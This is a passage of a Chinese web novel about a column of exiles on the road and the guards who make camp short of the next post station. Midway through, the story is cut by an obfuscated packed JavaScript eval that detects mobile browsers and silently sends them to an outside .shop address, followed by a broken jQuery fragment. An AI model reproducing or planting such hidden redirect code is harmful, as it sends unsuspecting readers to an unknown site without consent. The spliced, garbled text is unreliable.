江以宁马车追上流放队伍时,正好是在驿站。
同时间流放队伍已经休息了半个时辰,正准备启程继续往南。
江以宁有马车,无所谓休不休息。
倒是流放队伍的犯人,抬头看了看天色,太阳正大。
也就是现在才三月,正午时候太阳还不晒人。
“按照我们的脚程,天黑之前能到下一个驿站。”江阔海道。
他以前在户部任职时,京城周边的城镇也有巡视过,自然知道路程。
一想到今晚上不用露宿荒野,只要能到驿站,哪怕睡个大通铺他都能接受。
实在是如今三月的夜晚,是真的冷啊。
他们流放犯人就穿着一件单薄的囚衣,根本扛不住。
带着等天黑就能休息,还是在驿站休息的念头,江阔海咬牙撑着往前走。
可让他失望的是,太阳刚落山,天还没黑,王大山就叫停了队伍:“行了,今晚在此处扎营。”
“这……”江阔海愣住了,忍不住开口:“还有十里地就到东湖镇的驿站了啊。”
“我是队长还是你是队长?”王大山手按在腰间刀柄上,闻言冷目扫来。
江阔海对上他阴鸷的目光,顿时不敢说话。
流放犯人虽不明白为什么今晚不多走半个时辰去驿站,但从正午开始连走了三个时辰,此刻已经累得没精力深究了。
一个个也没了刚开始流放时的嫌弃,寻了块光滑的石板就坐下或躺着。
抬头目光迷惘望着天,同时间等着官差发那每日不变的硌牙窝头。
可等了半天,也没听见官差喊话发食物。
有饿得受不了的犯人从地上爬起来,就见官差今天居然架了两口大锅。
一口本来就是官差自带,平日他们自己热干粮的。
另一口是今天外出的官差马车带回来的。
被动静吸引的犯人,目光追随着这些官差的动作。
发现他们居然烧水煮了两大锅肉,顿时双眼冒绿光。
白水加肉放进锅里,李小幺挠了挠头,不确信道:“队长,烧个热水蒸个馒头我会,可这做肉我还是头一回。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119517|149838||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“别看他们现在是犯人,以前当官时嘴可挑的很,我们做的东西他们会吃吗?”
“那窝头一开始嫌弃,现在不也抢着吃吗。”王大山道。
不过看着锅里的白水煮肉,他还是蹙眉。
这大好的肉,可不能被他们自己嚯嚯煮成猪食了。
要知道这肉是他们兄弟几人凑钱买的,待会儿自己也要吃的。
想了想,王大山走进流放队伍,目光从流放犯人身上扫过,板着脸问:“你们谁会做饭的?来给我们做饭,可赏两个杂粮馒头。”
“又不是厨娘。”江清月听此不屑嗤声,小声嘀咕:“会做膳食也不会给你们这些泥腿子做。”
江清月对此不屑,但流放队伍中也不免有被杂粮馒头吸引到的人。
要知道这馒头,官差可是卖二十两一个啊。
帮忙做个饭就能有两个馒头,直接省了四十两。
被馒头吸引的犯人,也不管自己会不会做饭,连忙站起来喊着:“大人,选我,我会啊。”
望着人群中站出来的几人,王大山并不信任。